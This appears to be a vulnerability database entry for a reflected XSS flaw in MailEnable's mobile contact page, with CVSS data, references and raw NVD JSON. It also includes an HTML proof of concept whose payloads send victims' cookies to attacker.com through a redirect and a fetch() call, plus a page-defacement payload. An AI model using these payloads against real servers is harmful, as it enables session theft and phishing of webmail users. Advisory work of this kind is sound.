CVE-2025-34406

Description

MailEnable versions prior to 10.54 contain a reflected cross-site scripting (XSS) vulnerability in the Id parameter of /Mobile/ContactDetails.aspx. The Id value is not properly sanitized when processed via a GET request and is reflected within a <script> block in the response. By supplying a crafted payload that terminates an existing JavaScript function, inserts attacker-controlled script, and comments out remaining code, a remote attacker can execute arbitrary JavaScript in a victim’s browser when the victim opens a malicious link. Successful exploitation can redirect victims to malicious sites, steal cookies not protected by HttpOnly, inject arbitrary HTML or CSS, and perform actions as the authenticated user.

CVSS Details

CVSS Score

6.1

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:mailenable:mailenable:*:*:*:*:standard:*:*:* - VULNERABLE

MailEnable < 10.54

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!-- CVE-2025-34406 PoC - MailEnable Reflected XSS in /Mobile/ContactDetails.aspx -->
<!-- The Id parameter is reflected inside a <script> block without sanitization -->
<!-- Attack payload: </script><script>alert(document.domain)</script> -->
<!-- This payload terminates the existing script block and starts a new one with attacker-controlled code -->

<!-- PoC URL (URL-encode the payload for actual use) -->
<!-- https://[target]/Mobile/ContactDetails.aspx?Id=</script><script>alert(document.cookie)</script> -->

<!DOCTYPE html>
<html>
<head>
    <title>CVE-2025-34406 PoC</title>
</head>
<body>
    <h1>CVE-2025-34406 - MailEnable Reflected XSS PoC</h1>
    <p>Target: MailEnable versions prior to 10.54</p>
    <p>Vulnerable endpoint: /Mobile/ContactDetails.aspx</p>
    <p>Vulnerable parameter: Id</p>
    
    <h2>Malicious Link:</h2>
    <a href="http://[VICTIM_IP]/Mobile/ContactDetails.aspx?Id=</script><script>document.location='https://attacker.com/steal?c='+document.cookie</script>" target="_blank">Click to test</a>
    
    <h2>Alternative Payload (Cookie Theft):</h2>
    <code>?Id=</script><script>fetch('https://attacker.com/log?cookie='+document.cookie)</script></code>
    
    <h2>Alternative Payload (DOM Manipulation):</h2>
    <code>?Id=</script><script>document.body.innerHTML='<h1>PHISHED</h1>'</script></code>
</body>
</html>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-34406
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-34406
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-34406/
[4] VulDB https://vuldb.com/cve/CVE-2025-34406
[5] https://mailenable.com/Standard-ReleaseNotes.txt
[6] https://www.mailenable.com/
[7] https://www.vulncheck.com/advisories/mailenable-reflected-xss-in-id-parameter-of-mobile-contactdetails-aspx

Raw JSON Data

JSON

{"cve": {"id": "CVE-2025-34406", "sourceIdentifier": "[email protected]", "published": "2025-12-09T18:15:51.130", "lastModified": "2025-12-09T19:40:50.580", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "MailEnable versions prior to 10.54 contain a reflected cross-site scripting (XSS) vulnerability in the Id parameter of /Mobile/ContactDetails.aspx. The Id value is not properly sanitized when processed via a GET request and is reflected within a <script> block in the response. By supplying a crafted payload that terminates an existing JavaScript function, inserts attacker-controlled script, and comments out remaining code, a remote attacker can execute arbitrary JavaScript in a victim’s browser when the victim opens a malicious link. Successful exploitation can redirect victims to malicious sites, steal cookies not protected by HttpOnly, inject arbitrary HTML or CSS, and perform actions as the authenticated user."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:L/VI:L/VA:N/SC:L/SI:L/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "PASSIVE", "vulnConfidentialityImpact": "LOW", "vulnIntegrityImpact": "LOW", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "LOW", "subIntegrityImpact": "LOW", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "baseScore": 6.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:mailenable:mailenable:*:*:*:*:standard:*:*:*", "versionEndExcluding": "10.54", "matchCriteriaId": "E4DAB799-EDB6-48D7-A7FD-77D9910CB308"}]}]}], "references": [{"url": "https://mailenable.com/Standard-ReleaseNotes.txt", "source": "[email protected]", "tags": ["Release Notes"]}, {"url": "https://www.mailenable.com/", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://www.vulncheck.com/advisories/mailenable-reflected-xss-in-id-parameter-of-mobile-contactdetails-aspx", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}